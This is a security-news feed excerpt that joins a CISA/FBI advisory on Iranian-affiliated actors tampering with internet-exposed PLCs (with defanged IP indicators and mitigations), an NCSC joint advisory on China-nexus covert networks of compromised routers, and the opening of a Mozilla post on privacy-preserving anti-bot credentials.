For a downloadable copy of historical April 7, 2026 IOCs, see:

AA26-097A.stix_.xml (XML, 35.97 KB )
AA26-097A.stix_.json (JSON, 11.87 KB )

Background Information

Similar Historical Activity Targeting Programmable Logic Controllers

During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.

For more information on this group’s activity, see the joint Cybersecurity Advisory IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities.

Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers

The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.

(New, July 22, 2026) At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.

Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including Government Services and Facilities, WWS, and Energy Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.

Technical Details

Note: This advisory uses the MITRE ATT&CK¼ Matrix for Enterprise framework, version 19. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial Access

(Updated, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [T0883]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: 44818, 2222, 102, and 502, as well as targeting modems on port 22. Targeted devices include:

  • Rockwell Automation: CompactLogix and Micro850 PLCs
  • Schneider Electric: BMX P34/Modicon M340 PLCs
  • Siemens: S7-1200 series PLCs

Command and Control

(Updated, July 22, 2026) The targeting of ports [T0885] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port 22 [T1219].

Exfiltration

(New, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [T1041].

Impact

(Updated, July 22, 2026) After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [T1565]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.

Note: An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.

Indicators of Compromise

See Table 1 and Table 2 for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.

Disclaimer: The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 1. Indicators of Compromise (New, July 22, 2026)
Indicator Beginning of Actor Association End of Actor Association
185.82.73[.]175 September 2025 February 2026
141.11.164[.]153 January 2026 June 2026
175.110.121[.]42 February 2026 March 2026
175.110.121[.]39 February 2026 March 2026
175.110.121[.]41 February 2026 March 2026
175.110.121[.]107 February 2026 February 2026
192.142.54[.]79 May 2026 June 2026
84.200.205[.]165 May 2026 June 2026
185.225.17[.]225 June 2026 July 2026
79.133.46[.]209 July 2026 July 2026
88.80.150[.]199 July 2026 July 2026
88.80.150[.]200 July 2026 July 2026
88.80.150[.]202 July 2026 July 2026
Table 2. Indicators of Compromise 
Indicator Beginning of Actor Association End of Actor Association
185.82.73[.]162 January 2025 March 2026
185.82.73[.]164 January 2025 March 2026
185.82.73[.]165 January 2025 March 2026
185.82.73[.]167 January 2025 March 2026
185.82.73[.]168 January 2025 March 2026
185.82.73[.]170 January 2025 March 2026
185.82.73[.]171 January 2025 March 2026
135.136.1[.]133 March 2026 March 2026

MITRE ATT&CK Tactics and Techniques

See Table 3 to Table 6 for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3. Initial Access
Technique Title ID Use
Internet Accessible Device T0883 The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.

 

Table 4. Command and Control
Technique Title ID Use
Commonly Used Port T0885 The actors leveraged commonly used OT ports to communicate with PLCs.
Remote Access Tools  T1219 The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port 22.
Table 5. Exfiltration (New, July 22, 2026)
Technique Title ID Use
Exfiltration Over C2 Channel T1041 The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.
Table 6. Impact
Technique Title ID Use
Data Manipulation T1565 The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.

Mitigations

The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Network Defenders

The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.

(Updated, July 22, 2026) In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:

  • Rockwell Automation: Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at PSIRT@rockwellautomation.com for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.
    • Refer to Rockwell Automation Security Advisory SD1771 for recommended PLC hardening measures and configuration guidance.
  • Schneider Electric: Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
  • Siemens: Contact Siemens ProductCERT at productcert@siemens.com for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.

Immediate steps to prevent the attack:

  • Disconnect the PLC from the public-facing internet [CPG 3.S]. Follow the joint guidance Secure connectivity principles for OT to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.
    • Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.
    • Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.
    • (New, July 22, 2026) To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).
  • (New, July 22, 2026) Strictly control network access to PLC devices.
    • Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.
  • For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s2 System Security Design Guidelines for manufacturer’s instructions.)
    • (New, July 22, 2026) Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.
  • For devices that allow software key switching, enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ Cybersecurity for Industry Operational Guidelines for the manufacturer’s instructions.)

Follow-up steps to strengthen security posture:

  • (New, July 22, 2026) Review project files running on PLCs for unauthorized changes. Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the Customer Guidance to Disconnect Devices from the Internet, check the AOIs for any anomalous modifications.
    • If restoring from backups, verify the backup does not contain malicious logic before deployment.
    • Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.
  • (New, July 22, 2026) Ensure device passwords are changed from their default and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.
  • (New, July 22, 2026) Take defensive measures to minimize the risk of exploitation. Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.
  • Create and test strong backups of the logic and configurations of PLCs. Store backup files offline and secure the physical removal media to enable fast recovery.
  • Implement multifactor authentication (MFA) [CPG 3.F] for access to the OT network from an external network.
  • If remote access is required, implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access.
    • A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.
    • Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.
  • Keep PLC devices updated with the latest software patches issued by the manufacturer. Use established downtime windows to install patches. Known Exploited Vulnerabilities may need to be prioritized outside a downtime window.
  • Configure external and internal firewalls to block traffic using common ports associated with network protocols that are unnecessary for the particular network segment.
  • Disable any unused authentication methods, logic, or features, such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.
  • Monitor asset management systems for device configuration changes, which can be used to understand expected parameter settings.
  • Monitor the content of network traffic for the following:
    • Unusual logins to internet-connected devices or unexpected protocols to/from the internet. 
    • Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.
  • (New, July 22, 2026) Ensure service providers are informed of active threats targeting internet-connected PLC devices. Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:

  • Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s Cyber Hygiene Services can help provide additional review of organizations’ internet-accessible assets. 

Device Manufacturers

Note: The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. 

Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products, primarily:

  • Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.
  • Do not charge additional fees for basic security features needed to operate the product securely.
  • Support MFA, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.

Validate Security Controls

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (see Table 3 to Table 6).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&CK techniques identified in this advisory.

Resources

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:

  • Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s Internet Crime Complaint Center (IC3) or contact your local FBI field office. When available, please include the following information regarding the incident: 
    • Date, time, and location of the incident;
    • Type of activity;
    • Number of people affected;
    • Type of equipment used for the activity; and
    • Name of the submitting company or organization, and a designated point of contact.
  • For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.
  • Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
  • Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at PSIRT@rockwellautomation.com.
  • Contact the Schneider Electric CPCERT at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
  • Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at productcert@siemens.com. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at services.automation@siemens.com. See Siemens ProductCERT and Siemens CERT for more information.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.

Version History

April 7, 2026: Initial version.

July 22, 2026: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.

Notes

1Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.

2 See CompactLogix 5370 Controllers (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.

]]> <![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]> https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/ https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/ Sat, 25 Jul 2026 09:10:14 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de

Defending against china-nexus covert networks of compromised devices

executive summary

Defending against China-nexus covert networks of compromised devices 

Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it 

Summary

With support from the UK Cyber League, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: 

  • Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)
  • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
  • Germany Federal Office for the Protection of the Constitution -   Bundesamt fĂŒr Verfassungsschutz (BfV)
  • Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)
  • Germany Federal Office for Information Security - Bundesamt fĂŒr Sicherheit in der Informationstechnik (BSI)
  • Japan National Cybersecurity Office (NCO) - ć›œćź¶ă‚”ă‚€ăƒăƒŒç”±æ‹Źćź€
  • Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)
  • Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • Spain National Cryptologic Centre – Centro CriptolĂłgico Nacional (CCN)
  • Sweden National Cyber Security Centre - Nationellt cybersĂ€kerhetscenter (NCSC-SE)
  • United States Cybersecurity and Infrastructure Security Agency (CISA)
  • United States Department of Defense Cyber Crime Center (DC3)
  • United States Federal Bureau of Investigation (FBI)
  • United States National Security Agency (NSA) 

Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. 

Introduction  

Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. 

The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. 

Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been used by Chinese state-sponsored actors Volt Typhoon to pre-position offensive cyber capabilities on critical national infrastructure. The group Flax Typhoon used a different covert network of compromised infrastructure to conduct cyber espionage. 

The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  

This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.

Covert Networks 

Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. 

There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also assessed by the FBI to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. 

Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester 

Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon was mainly made up of vulnerable Cisco and NetGear routers. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. 

The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a public blog in May 2024 talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. 

Typical Network Topology

The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. 

Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. 

However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. 

A diagram illustrating the basic setup of a covert network.
A diagram illustrating the basic setup of a covert network.

The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. 

Protective Advice 

Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  

The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. 

Further guidance for all organizations facing cyber security threats is available on the NCSC website. 

This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.

All organizations

The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: 

  • Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.
  • Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
    • Would you expect connections from consumer broadband ranges?
  • Leverage available dynamic threat feeds which include covert network infrastructure.
  • Implement multifactor authentication for remote connections.

Smaller organizations should consider creating and actioning a free NCSC Cyber Action Toolkit. 

Larger or more at-risk organizations

Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  

  • Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.
  • Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.
  • Implement zero trust policies for connections.
  • Enforce machine certificates for Secure Sockets Layer (SSL) connections.
  • Reduce the internet-facing presence of the IT estate.
  • Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. 

The NCSC's Cyber Essentials can help protect organizations of all sizes. 

Largest or most at-risk organizations 

If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.

  • Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.
  • Track and map covert networks reported by industry or government by looking at banners and certificates.
  • Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.
  • Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. 

The NCSC Cyber Assessment Framework provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  

MITRE ATT&CKŸ 

This advisory has been compiled with respect to the MITRE ATT&CKŸ framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. 

Tactic 

ID 

Technique 

Procedure 

Resource Development 

T1584.005 

Compromise Infrastructure: Botnet 

Botnets are used as core components of covert networks 

Resource Development 

T1584.008 

Compromise Infrastructure: Network Devices 

Devices are compromised and added to botnets 

Resource Development 

T1583.003 

Acquire Infrastructure: Virtual Private Server 

Virtual private servers (VPS) are used in covert networks, typically as on-ramps 

Command and Control 

T1090.003 

Proxy: Multi-hop Proxy 

Used by China-nexus cyber actors to route traffic 

 Appendix: Cyber Security Best Practices 

In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. 

Disclaimer  

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about NCSC assured services. 

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.  

All material is UK Crown Copyright © 

]]> <![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]> https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/ https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/ Sat, 25 Jul 2026 08:37:27 +0200 đŸ’Ÿ Tools tsecurity.de This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve.

Bots (and privacy-preserving browsers) not welcome

Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome.

Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors.

Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans.

Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate.

This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse.

Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.

The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers.

The Costs of Convenient Solutions

Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.

Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.

Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.

However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors.

Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.

A Better Path Forward

Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  

Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit.

However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work.

What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms.

As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage.

The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking.

